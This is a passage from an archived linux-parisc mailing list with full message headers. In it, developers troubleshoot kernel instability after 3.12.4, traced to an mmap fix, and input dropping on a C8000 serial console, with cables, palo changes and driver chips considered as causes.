	id S1752176AbaAYWkW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 25 Jan 2014 17:40:22 -0500
Original-Received: from mail.sf-mail.de ([78.47.74.12]:39461 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752167AbaAYWkV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 25 Jan 2014 17:40:21 -0500
Original-Received: (qmail 700 invoked from network); 25 Jan 2014 22:40:00 -0000
Original-Received: from dslb-188-096-222-185.pools.arcor-ip.net ([::ffff:188.96.222.185]:54868 HELO caliban.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.26svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Sat, 25 Jan 2014 23:40:00 +0100
User-Agent: KMail/4.12 (Linux/3.12.7-1.g2424219-desktop; KDE/4.12.0; x86_64; ; )
In-Reply-To: <1390689039.2275.52.camel@dabdike.int.hansenpartnership.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5651
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5651>


--nextPart3963997.VMk9lzrmrJ
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Am Samstag, 25. Januar 2014, 14:30:39 schrieben Sie:
> On Fri, 2014-01-24 at 22:26 +0100, Guy Martin wrote:
> > On Fri, 24 Jan 2014 22:07:23 +0100
> > 
> > Jeroen Roovers <jer@gentoo.org> wrote:
> > > On Fri, 24 Jan 2014 21:44:51 +0100
> > > 
> > > Rolf Eike Beer <eike-kernel@sf-tec.de> wrote:
> > > > I reported that I saw strange things happening after upgrading to
> > > > 3.12.5. Meanwhile I upgraded to 3.12.8 and things became worse. I
> > > > regularly see processes to fail randomly. I can see this as I
> > > > somethimes get failures in my nagios because the SSH connection to
> > > > the watched host (only the watched one runs .8) fails.
> > > 
> > > Confirmed with any kernel above 3.12.2 that I cared to test (I didn't
> > > test 3.12.3). The issues vary from illegal instructions to
> > > segmentation faults to double frees in userland, so it's basically a
> > > "random" thing. I can't say it's become "worse" after 3.12.5 (since I
> > > haven't kept per version statistics).
> > 
> > Same here, 3.12.5 was not behaving correctly and 3.12.8 was even worse.
> > With the later, I also experienced sshd segfault, python threading
> > segfault/hangs.
> > I quickly reverted to 3.12.4 which is far more stable.
> 
> This all sounds like a flushing problem.  I can't confirm with my
> pa8800 ... but that could be because the additional pa8800 flushes are
> masking the problem.  Could you try bisecting the parisc commits
> between .4 and .5 and see if there's a particular cause?

It's the one mmap fix, I see .5 being stable after reverting that fix.

Eike
--nextPart3963997.VMk9lzrmrJ
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)

iEYEABECAAYFAlLkPVAACgkQXKSJPmm5/E4j4gCfYg6uYs5pk3nvxJlPV2Mcf56r
q1IAniGjU/ba0lT9VL/ZZHFqDcFZpoXQ
=FT+/
-----END PGP SIGNATURE-----

--nextPart3963997.VMk9lzrmrJ--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [C8000] serial console drops input
Date: Sun, 26 Jan 2014 01:02:18 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20140126010218.33334dbd@marga.jer-c2.orkz.net>
References: <20140125054144.4ccfde5e@marga.jer-c2.orkz.net>
	<1417398.fmUESL4Ngr@eto>
	<BLU0-SMTP1495AAE1C79CFA59BC915E97A00@phx.gbl>
	<7905648.nun1s37FKj@eto>
	<20140125181348.67a2bf8f@marga.jer-c2.orkz.net>
	<BLU0-SMTP313201DB46978BF91A10FE97A00@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390694543 22394 80.91.229.3 (26 Jan 2014 00:02:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 26 Jan 2014 00:02:23 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 26 01:02:29 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W7DBD-0002Ya-B4
	for glpp-linux-parisc@plane.gmane.org; Sun, 26 Jan 2014 01:02:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751178AbaAZACY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 25 Jan 2014 19:02:24 -0500
Original-Received: from smtp.gentoo.org ([140.211.166.183]:44433 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750840AbaAZACX (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 25 Jan 2014 19:02:23 -0500
Original-Received: from marga.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id 2435333F6D6;
	Sun, 26 Jan 2014 00:02:21 +0000 (UTC)
In-Reply-To: <BLU0-SMTP313201DB46978BF91A10FE97A00@phx.gbl>
X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.22; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5652
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5652>

On Sat, 25 Jan 2014 15:13:47 -0500
John David Anglin <dave.anglin@bell.net> wrote:

> Helge has made some changes to palo but I believe that we are on the  
> PDC boot
> console (ttyB0) until switch over here:

This.

> How long is your cable?    There's no shield connection on DB9  
> connector.  You just
> need to cross transmit and receive data.  Signal ground is straight  
> through.
> 
> Dave L is correct about USB keyboard and mouse confusing serial  
> console support.

Yes, but _all_ of that is entirely immaterial as the same hardware
worked fine for more than one and a half years, _until_ the changes to
palo/PDC console support were introduced.

I could easily revert the IPL to the former working version (1.18) and
see if that fixes the issue during boot. I'll report back with some
results.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dave Land <xmechanic@landcomp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [C8000] serial console drops input
Date: Sat, 25 Jan 2014 18:01:29 -0700
Lines: 50
Approved: news@gmane.org
Message-ID: <52E45E69.5000900@landcomp.net>
References: <20140125054144.4ccfde5e@marga.jer-c2.orkz.net>	<1417398.fmUESL4Ngr@eto>	<BLU0-SMTP1495AAE1C79CFA59BC915E97A00@phx.gbl>	<7905648.nun1s37FKj@eto>	<20140125181348.67a2bf8f@marga.jer-c2.orkz.net>	<BLU0-SMTP313201DB46978BF91A10FE97A00@phx.gbl> <20140126010218.33334dbd@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390698086 22381 80.91.229.3 (26 Jan 2014 01:01:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 26 Jan 2014 01:01:26 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>
To: Jeroen Roovers <jer@gentoo.org>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 26 02:01:33 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W7E6O-0000EC-9q
	for glpp-linux-parisc@plane.gmane.org; Sun, 26 Jan 2014 02:01:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752156AbaAZBBb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 25 Jan 2014 20:01:31 -0500
Original-Received: from landcomp.net ([192.119.43.5]:26665 "HELO landcomp.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752117AbaAZBBb (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 25 Jan 2014 20:01:31 -0500
Original-Received: (qmail 7898 invoked by uid 453); 26 Jan 2014 01:01:30 -0000
Original-Received: from mac-pro.landcomp.net (HELO mac-pro.landcomp.net) (192.168.0.7)
  (smtp-auth username xmechanic@landcomp.net, mechanism plain)
  by landcomp.net (qpsmtpd/0.84) with (AES256-SHA encrypted) ESMTPSA; Sat, 25 Jan 2014 18:01:30 -0700
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <20140126010218.33334dbd@marga.jer-c2.orkz.net>
X-Virus-Checked: Checked by ClamAV on landcomp.net
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5653
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5653>

On 1/25/14 5:02 PM, Jeroen Roovers wrote:
> On Sat, 25 Jan 2014 15:13:47 -0500
> John David Anglin <dave.anglin@bell.net> wrote:
>
>> Helge has made some changes to palo but I believe that we are on the
>> PDC boot
>> console (ttyB0) until switch over here:
>
> This.
>
>> How long is your cable?    There's no shield connection on DB9
>> connector.  You just
>> need to cross transmit and receive data.  Signal ground is straight
>> through.
>>
>> Dave L is correct about USB keyboard and mouse confusing serial
>> console support.
>
> Yes, but _all_ of that is entirely immaterial as the same hardware
> worked fine for more than one and a half years, _until_ the changes to
> palo/PDC console support were introduced.

Ahh, I missed that part... :-P I think I set mine up after this was 
introduced.

Dave L.

>
> I could easily revert the IPL to the former working version (1.18) and
> see if that fixes the issue during boot. I'll report back with some
> results.
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>
>


-- 
Dave Land
Land Computer Service  xmechanic@landcomp.net
ICQ: 676030523


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [C8000] serial console drops input
Date: Sun, 26 Jan 2014 16:07:18 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <52E524A6.2060703@gmx.de>
References: <20140125054144.4ccfde5e@marga.jer-c2.orkz.net>	<1417398.fmUESL4Ngr@eto>	<BLU0-SMTP1495AAE1C79CFA59BC915E97A00@phx.gbl>	<7905648.nun1s37FKj@eto>	<20140125181348.67a2bf8f@marga.jer-c2.orkz.net>	<BLU0-SMTP313201DB46978BF91A10FE97A00@phx.gbl> <20140126010218.33334dbd@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390748840 4103 80.91.229.3 (26 Jan 2014 15:07:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 26 Jan 2014 15:07:20 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>
To: Jeroen Roovers <jer@gentoo.org>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 26 16:07:26 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W7RJ0-0006Wb-4r
	for glpp-linux-parisc@plane.gmane.org; Sun, 26 Jan 2014 16:07:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752117AbaAZPHW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 26 Jan 2014 10:07:22 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:58586 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751652AbaAZPHV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 26 Jan 2014 10:07:21 -0500
Original-Received: from [192.168.178.60] ([84.173.66.109]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0M9OMc-1W0GID3IfG-00Clbj for
 <linux-parisc@vger.kernel.org>; Sun, 26 Jan 2014 16:07:20 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <20140126010218.33334dbd@marga.jer-c2.orkz.net>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:GRVRGo/zpkcTmaUNmG0YSPBLeWvq8oSXbht7CHEMbNL6n7Yb4QV
 R1bxeOS1MLVN1kWaMMIU2RlxwAfS9yP2Mm7xBYqO1QDrdibe3J/zucqMt1C4Ey4Wo+bNdxh
 qEJpT73Zmnxbf9N8kUxcEZbO/IFV3oxUZJSVR7tGowJtBz5pm9dktwHtmQGXadRNs2djbgy
 8Ewh1OmPU+qR2FAS/muzg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5654
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5654>

On 01/26/2014 01:02 AM, Jeroen Roovers wrote:
> On Sat, 25 Jan 2014 15:13:47 -0500
> John David Anglin <dave.anglin@bell.net> wrote:
> 
>> Helge has made some changes to palo but I believe that we are on the  
>> PDC boot
>> console (ttyB0) until switch over here:
> 
> This.
> 
>> How long is your cable?    There's no shield connection on DB9  
>> connector.  You just
>> need to cross transmit and receive data.  Signal ground is straight  
>> through.
>>
>> Dave L is correct about USB keyboard and mouse confusing serial  
>> console support.
> 
> Yes, but _all_ of that is entirely immaterial as the same hardware
> worked fine for more than one and a half years, _until_ the changes to
> palo/PDC console support were introduced.
> 
> I could easily revert the IPL to the former working version (1.18) and
> see if that fixes the issue during boot. I'll report back with some
> results.

I'm pretty sure that I didn't changed anything in palo which is PDC-console
related and which would explain why you have such problems.
If there is a problem, then it might be because of kernel and/or cable.

Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [C8000] serial console drops input
Date: Sun, 26 Jan 2014 21:22:25 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <20140126212225.0c6e88f9@marga.jer-c2.orkz.net>
References: <20140125054144.4ccfde5e@marga.jer-c2.orkz.net>
	<1417398.fmUESL4Ngr@eto>
	<BLU0-SMTP1495AAE1C79CFA59BC915E97A00@phx.gbl>
	<7905648.nun1s37FKj@eto>
	<20140125181348.67a2bf8f@marga.jer-c2.orkz.net>
	<BLU0-SMTP313201DB46978BF91A10FE97A00@phx.gbl>
	<20140126010218.33334dbd@marga.jer-c2.orkz.net>
	<52E524A6.2060703@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390767746 11922 80.91.229.3 (26 Jan 2014 20:22:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 26 Jan 2014 20:22:26 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 26 21:22:32 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W7WDv-0001Yk-So
	for glpp-linux-parisc@plane.gmane.org; Sun, 26 Jan 2014 21:22:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753250AbaAZUWb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 26 Jan 2014 15:22:31 -0500
Original-Received: from smtp.gentoo.org ([140.211.166.183]:34057 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753186AbaAZUWa (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 26 Jan 2014 15:22:30 -0500
Original-Received: from marga.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id 7D74D33F6C7;
	Sun, 26 Jan 2014 20:22:29 +0000 (UTC)
In-Reply-To: <52E524A6.2060703@gmx.de>
X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.22; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5655
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5655>

On Sun, 26 Jan 2014 16:07:18 +0100
Helge Deller <deller@gmx.de> wrote:

> I'm pretty sure that I didn't changed anything in palo which is
> PDC-console related and which would explain why you have such
> problems. If there is a problem, then it might be because of kernel
> and/or cable.

Yes, that seems to be the case. I initially assumed something might
actually reconfigure the serial port in the IPL, but I can't find any
evidence in support.

I think I am seeing two problems:

1) Pasting strings doesn't work on either the PDC console or the
   IPL/Linux console.

2) Whereas typing on the PDC console works fine, even at some speed,
   the same is not true for the IPL/Linux console, which lose many
   characters along the way, and act as if the connection is
   temporarily lost. Switching the client side terminal program
   (I tested with minicom, picocom, screen) makes no difference.

Do serial cables deteriorate over time? :-)


Regards,
     jer
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dave Land <xmechanic@landcomp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [C8000] serial console drops input
Date: Sun, 26 Jan 2014 13:35:46 -0700
Lines: 59
Approved: news@gmane.org
Message-ID: <52E571A2.8060600@landcomp.net>
References: <20140125054144.4ccfde5e@marga.jer-c2.orkz.net>	<1417398.fmUESL4Ngr@eto>	<BLU0-SMTP1495AAE1C79CFA59BC915E97A00@phx.gbl>	<7905648.nun1s37FKj@eto>	<20140125181348.67a2bf8f@marga.jer-c2.orkz.net>	<BLU0-SMTP313201DB46978BF91A10FE97A00@phx.gbl>	<20140126010218.33334dbd@marga.jer-c2.orkz.net>	<52E524A6.2060703@gmx.de> <20140126212225.0c6e88f9@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390768543 20014 80.91.229.3 (26 Jan 2014 20:35:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 26 Jan 2014 20:35:43 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>
To: Jeroen Roovers <jer@gentoo.org>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 26 21:35:50 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W7WQn-0006vl-IP
	for glpp-linux-parisc@plane.gmane.org; Sun, 26 Jan 2014 21:35:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753211AbaAZUfr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 26 Jan 2014 15:35:47 -0500
Original-Received: from landcomp.net ([192.119.43.5]:17751 "HELO landcomp.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753147AbaAZUfr (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 26 Jan 2014 15:35:47 -0500
Original-Received: (qmail 11597 invoked by uid 453); 26 Jan 2014 20:35:46 -0000
Original-Received: from mac-pro.landcomp.net (HELO mac-pro.landcomp.net) (192.168.0.7)
  (smtp-auth username xmechanic@landcomp.net, mechanism plain)
  by landcomp.net (qpsmtpd/0.84) with (AES256-SHA encrypted) ESMTPSA; Sun, 26 Jan 2014 13:35:46 -0700
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <20140126212225.0c6e88f9@marga.jer-c2.orkz.net>
X-Virus-Checked: Checked by ClamAV on landcomp.net
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5656
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5656>

On 1/26/14 1:22 PM, Jeroen Roovers wrote:
> On Sun, 26 Jan 2014 16:07:18 +0100
> Helge Deller <deller@gmx.de> wrote:
>
>> I'm pretty sure that I didn't changed anything in palo which is
>> PDC-console related and which would explain why you have such
>> problems. If there is a problem, then it might be because of kernel
>> and/or cable.
>
> Yes, that seems to be the case. I initially assumed something might
> actually reconfigure the serial port in the IPL, but I can't find any
> evidence in support.
>
> I think I am seeing two problems:
>
> 1) Pasting strings doesn't work on either the PDC console or the
>     IPL/Linux console.
>
> 2) Whereas typing on the PDC console works fine, even at some speed,
>     the same is not true for the IPL/Linux console, which lose many
>     characters along the way, and act as if the connection is
>     temporarily lost. Switching the client side terminal program
>     (I tested with minicom, picocom, screen) makes no difference.
>
> Do serial cables deteriorate over time? :-)
>
>
> Regards,
>       jer
> --

Jeroen,

It is a possibility that the serial cable may be a problem, or there may 
actually be a hardware issue with the machine itself.(Most of these 
machines are pretty old by computer world standards) :-) Sometimes just 
giving them a good cleaning with compressed air, and re-seating the RAM 
modules will make a difference. Just a thought... ;-)

Dave L.

P.S. I live in an area where dust is a major problem, and I have to blow 
the dust and crap out of mine about every 3 months or so. If I don't; 
when it *does* rain around here and the humidity goes up, I get all 
kinds of weird errors on some of my machines (the dust becomes 
electrically conductive). I experience this a lot with my customers 
machines too.

-- 
Dave Land
Land Computer Service  xmechanic@landcomp.net
ICQ: 676030523


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [C8000] serial console drops input
Date: Sun, 26 Jan 2014 16:01:53 -0500
Lines: 40
Approved: news@gmane.org
Message-ID: <BLU0-SMTP67B7E8904072C1DACCE37597A30@phx.gbl>
References: <20140125054144.4ccfde5e@marga.jer-c2.orkz.net> <1417398.fmUESL4Ngr@eto> <BLU0-SMTP1495AAE1C79CFA59BC915E97A00@phx.gbl> <7905648.nun1s37FKj@eto> <20140125181348.67a2bf8f@marga.jer-c2.orkz.net> <BLU0-SMTP313201DB46978BF91A10FE97A00@phx.gbl> <20140126010218.33334dbd@marga.jer-c2.orkz.net> <52E524A6.2060703@gmx.de> <20140126212225.0c6e88f9@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390770127 4249 80.91.229.3 (26 Jan 2014 21:02:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 26 Jan 2014 21:02:07 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Helge Deller <deller@gmx.de>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>
To: Jeroen Roovers <jer@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 26 22:02:14 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W7WqL-0000cb-Gs
	for glpp-linux-parisc@plane.gmane.org; Sun, 26 Jan 2014 22:02:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753157AbaAZVCM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 26 Jan 2014 16:02:12 -0500
Original-Received: from blu0-omc3-s35.blu0.hotmail.com ([65.55.116.110]:40179 "EHLO
	blu0-omc3-s35.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753102AbaAZVCM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 26 Jan 2014 16:02:12 -0500
Original-Received: from BLU0-SMTP67 ([65.55.116.74]) by blu0-omc3-s35.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 26 Jan 2014 13:02:11 -0800
X-TMN: [Dg0Y7Eva4ZCyYTT+VhlzFrw0m5o9qopF]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.170.59]) by BLU0-SMTP67.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 26 Jan 2014 13:02:10 -0800
In-Reply-To: <20140126212225.0c6e88f9@marga.jer-c2.orkz.net>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 26 Jan 2014 21:02:10.0357 (UTC) FILETIME=[E115EE50:01CF1AD9]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5657
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5657>

On 26-Jan-14, at 3:22 PM, Jeroen Roovers wrote:

> Do serial cables deteriorate over time? :-)

Not much although the soldered/crimped connections could break.  More  
of an issue is the
drivers.  Many boards use +3.3V devices such as the MAX3232.  These  
don't put out as much voltage
on the cable as standard RS232 drivers.  So, they can't drive as much  
cable as a fully standard device.
Secondly, the driver chips are sensitive to ESD damage (particularly  
